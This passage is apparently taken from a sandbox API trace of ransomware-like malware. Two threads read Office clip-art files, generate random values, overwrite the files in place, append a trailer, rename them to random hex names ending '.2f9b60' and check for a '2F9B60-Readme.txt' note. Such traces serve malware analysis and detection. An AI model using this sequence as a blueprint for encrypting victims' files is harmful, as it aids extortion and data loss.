[0116.307] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x591, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.307] ReadFile (in: hFile=0x1720, lpBuffer=0x1d07f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d07f688, lpOverlapped=0x0 | out: lpBuffer=0x1d07f640*, lpNumberOfBytesRead=0x1d07f688*=0x4, lpOverlapped=0x0) returned 1 [0116.467] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0116.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261250 [0116.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0116.467] NtQuerySystemTime (in: CurrentTime=0x1d07f580 | out: CurrentTime=0x1d07f580*=132462177219214000) returned 0x0 [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x43788d26 [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x54f79b00 [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x15a74d38 [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x3a29d581 [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x1fe705f7 [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x39bbc860 [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x482cb892 [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x42f916d7 [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x12a40fb8 [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x253e781c [0116.467] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x215606bb [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x4212e2c5 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x6435c0da [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x5567e343 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x67f3474a [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x6f1c372a [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x6378e1c1 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x66b137d1 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x56238840 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x4c25d7ca [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x5569d755 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x5d786b94 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x648f278b [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x1d5a7733 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x544c3800 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x20e7091c [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x547710c0 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x478a1303 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x7a3c91d0 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x242089f1 [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x4b80bdfa [0116.468] RtlRandomEx (in: Seed=0x1d07f570 | out: Seed=0x1d07f570) returned 0x3909c0ad [0116.479] ReadFile (in: hFile=0x1720, lpBuffer=0x2016a520, nNumberOfBytesToRead=0x595, lpNumberOfBytesRead=0x1d07f570, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesRead=0x1d07f570*=0x595, lpOverlapped=0x0) returned 1 [0116.479] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.479] WriteFile (in: hFile=0x1720, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0x595, lpNumberOfBytesWritten=0x1d07f574, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x1d07f574*=0x595, lpOverlapped=0x0) returned 1 [0116.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0116.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0116.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262360) returned 1 [0116.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0116.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0116.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0116.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0116.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262360 [0116.514] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.514] WriteFile (in: hFile=0x1720, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1d07f690, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x1d07f690*=0x10a, lpOverlapped=0x0) returned 1 [0116.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf90 [0116.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0116.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263680 [0116.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263680) returned 1 [0116.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263680 [0116.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0116.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0116.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0116.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0116.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.548] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="98") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="bc") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="13") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="5b") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="9a") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="d0") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="16") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="4f") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="15") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="92") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="25") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="f6") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="b8") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="0a") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="32") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="fd") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="72") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="ba") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="12") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="a3") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="bf") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="67") returned 2 [0116.549] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="71") returned 2 [0116.550] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="d9") returned 2 [0116.550] RtlInitAnsiString (in: DestinationString=0x1d07f708, SourceString="98bc135b9ad0164f159225f6b80a32fd72ba12a3bf6771d9" | out: DestinationString="98bc135b9ad0164f159225f6b80a32fd72ba12a3bf6771d9") [0116.550] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d07f6d8, SourceString="98bc135b9ad0164f159225f6b80a32fd72ba12a3bf6771d9", AllocateDestinationString=1 | out: DestinationString="98bc135b9ad0164f159225f6b80a32fd72ba12a3bf6771d9") returned 0x0 [0116.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9550 [0116.550] wcscat (in: _Dest=0x2050be20, _Source="98bc135b9ad0" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\98bc135b9ad0") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\98bc135b9ad0" [0116.550] wcscat (in: _Dest=0x2050be20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\98bc135b9ad0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\98bc135b9ad0.2f9b60" [0116.550] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\98bc135b9ad0.2f9b60", NtPathName=0x1d07f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\98bc135b9ad0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1187b0 [0116.550] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x1d07f750, FileInformation=0x1187b0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1187b0) returned 1 [0117.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48f90) returned 1 [0117.107] NtQueryInformationFile (in: FileHandle=0x1720, IoStatusBlock=0x1d07f718, FileInformation=0x1d07f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d07f718, FileInformation=0x1d07f728) returned 0x0 [0117.107] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x1d07f718, FileInformation=0x1d07f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050be20) returned 1 [0117.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9550) returned 1 [0117.112] FlushFileBuffers (hFile=0x1720) returned 1 [0117.116] CloseHandle (hObject=0x1720) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050ba00 [0117.117] wcscpy (in: _Dest=0x2050ba00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.117] wcscat (in: _Dest=0x2050ba00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ba00) returned 1 [0117.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8621a0) returned 1 Thread: id = 1264 os_tid = 0xd80 [0115.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif")) returned 0x20 [0116.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF", dwFileAttributes=0x20) returned 1 [0116.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1778 [0116.465] GetFileSizeEx (in: hFile=0x1778, lpFileSize=0x3a07fd40 | out: lpFileSize=0x3a07fd40*=4561) returned 1 [0116.465] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x11cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.465] ReadFile (in: hFile=0x1778, lpBuffer=0x3a07fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a07fd08, lpOverlapped=0x0 | out: lpBuffer=0x3a07fcc0*, lpNumberOfBytesRead=0x3a07fd08*=0x4, lpOverlapped=0x0) returned 1 [0116.486] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0116.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0116.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0116.486] NtQuerySystemTime (in: CurrentTime=0x3a07fc00 | out: CurrentTime=0x3a07fc00*=132462177219526000) returned 0x0 [0116.486] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x64fdbd3b [0116.486] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x1d921883 [0116.486] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x68a76f88 [0116.486] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x6def37ef [0116.487] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x655b2b13 [0116.487] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x34a04883 [0116.487] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x30e088fc [0116.487] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x599ad32b [0116.487] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x54215f40 [0116.487] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x479b2b74 [0116.487] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x6d30dce [0116.487] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x18e7f6a1 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x70b82c50 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x540818e1 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x7f16b22 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x29181a59 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x398baf98 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x1c4e257c [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x24678bbf [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x23e30fb3 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x24b04e7e [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x1a385557 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x3076e4d1 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0xe157db7 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x5efa1bb8 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x3f9a83d3 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x69f013d8 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x6b72f623 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0xfe63eab [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x22a1999 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x226b5344 [0116.488] RtlRandomEx (in: Seed=0x3a07fbf0 | out: Seed=0x3a07fbf0) returned 0x6f235bd0 [0116.499] ReadFile (in: hFile=0x1778, lpBuffer=0x41ba2d00, nNumberOfBytesToRead=0x11d1, lpNumberOfBytesRead=0x3a07fbf0, lpOverlapped=0x0 | out: lpBuffer=0x41ba2d00*, lpNumberOfBytesRead=0x3a07fbf0*=0x11d1, lpOverlapped=0x0) returned 1 [0116.544] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.544] WriteFile (in: hFile=0x1778, lpBuffer=0x41ba6910*, nNumberOfBytesToWrite=0x11d1, lpNumberOfBytesWritten=0x3a07fbf4, lpOverlapped=0x0 | out: lpBuffer=0x41ba6910*, lpNumberOfBytesWritten=0x3a07fbf4*=0x11d1, lpOverlapped=0x0) returned 1 [0116.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0116.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616d0 [0116.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202616d0) returned 1 [0116.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ba6910) returned 1 [0116.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ba2d00) returned 1 [0116.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0116.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0116.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202616d0 [0116.663] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.663] WriteFile (in: hFile=0x1778, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a07fd10, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x3a07fd10*=0x10a, lpOverlapped=0x0) returned 1 [0116.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0116.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263350 [0116.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263350) returned 1 [0116.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0116.962] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="d7") returned 2 [0116.962] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="3c") returned 2 [0116.962] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="02") returned 2 [0116.962] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="6e") returned 2 [0116.962] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="6e") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="5e") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="f2") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="01") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="4e") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="f0") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="85") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="27") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="0e") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="eb") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="d0") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="99") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="31") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="9e") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="57") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="a6") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="b8") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="72") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="38") returned 2 [0116.963] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="40") returned 2 [0116.963] RtlInitAnsiString (in: DestinationString=0x3a07fd88, SourceString="d73c026e6e5ef2014ef085270eebd099319e57a6b8723840" | out: DestinationString="d73c026e6e5ef2014ef085270eebd099319e57a6b8723840") [0116.963] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a07fd58, SourceString="d73c026e6e5ef2014ef085270eebd099319e57a6b8723840", AllocateDestinationString=1 | out: DestinationString="d73c026e6e5ef2014ef085270eebd099319e57a6b8723840") returned 0x0 [0116.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9010 [0116.964] wcscat (in: _Dest=0x2050c660, _Source="d73c026e6e5e" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d73c026e6e5e") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d73c026e6e5e" [0116.964] wcscat (in: _Dest=0x2050c660, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d73c026e6e5e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d73c026e6e5e.2f9b60" [0116.964] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d73c026e6e5e.2f9b60", NtPathName=0x3a07fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\d73c026e6e5e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1193e0 [0116.964] NtSetInformationFile (FileHandle=0x1778, IoStatusBlock=0x3a07fdd0, FileInformation=0x1193e0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0117.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf479b0) returned 1 [0117.131] NtQueryInformationFile (in: FileHandle=0x1778, IoStatusBlock=0x3a07fd98, FileInformation=0x3a07fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a07fd98, FileInformation=0x3a07fda8) returned 0x0 [0117.131] NtSetInformationFile (FileHandle=0x1778, IoStatusBlock=0x3a07fd98, FileInformation=0x3a07fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c660) returned 1 [0117.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9010) returned 1 [0117.135] FlushFileBuffers (hFile=0x1778) returned 1 [0117.136] CloseHandle (hObject=0x1778) returned 1 [0117.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050c660 [0117.142] wcscpy (in: _Dest=0x2050c660, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" 